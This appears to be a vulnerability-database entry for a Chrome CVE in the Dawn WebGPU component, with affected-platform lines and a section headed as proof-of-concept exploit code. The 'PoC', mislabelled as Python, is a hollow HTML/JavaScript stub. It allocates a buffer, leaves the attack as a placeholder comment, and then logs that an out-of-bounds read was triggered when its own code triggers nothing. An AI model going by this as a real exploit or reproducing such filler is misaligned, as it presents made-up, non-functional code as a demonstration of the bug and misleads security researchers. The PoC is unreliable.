Out of bounds read in Dawn in Google Chrome prior to 148.0.7778.96 allowed a remote attacker to leak cross-origin data via a crafted HTML page. (Chromium security severity: Medium)
cpe:2.3:o:apple:macos:-:*:*:*:*:*:*:* - NOT VULNERABLE
cpe:2.3:o:linux:linux_kernel:-:*:*:*:*:*:*:* - NOT VULNERABLE
cpe:2.3:o:microsoft:windows:-:*:*:*:*:*:*:* - NOT VULNERABLE
Google Chrome < 148.0.7778.96
PoC / Exploit Code
⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
<!-- Proof of Concept for CVE-2026-7983: Out of bounds read in Dawn -->
<!-- This POC demonstrates a crafted HTML page attempting to trigger the vulnerability -->
<html>
<body>
<script>
async function triggerVuln() {
// Check if WebGPU is supported
if (!navigator.gpu) {
console.log("WebGPU not supported");
return;
}
const adapter = await navigator.gpu.requestAdapter();
const device = await adapter.requestDevice();
// Create a buffer with specific size to trigger potential OOB read
const bufferSize = 1024;
const buffer = device.createBuffer({
size: bufferSize,
usage: GPUBufferUsage.COPY_DST | GPUBufferUsage.COPY_SRC,
});
// Attempt to read data outside the intended bounds (Conceptual)
// In a real exploit, specific shader code or command encoding would be used
// to cause Dawn to read past the buffer limit.
const commandEncoder = device.createCommandEncoder();
// ... (Malicious encoding logic here)
console.log("Potential OOB read triggered in Dawn component.");
}
triggerVuln();
</script>
</body>
</html>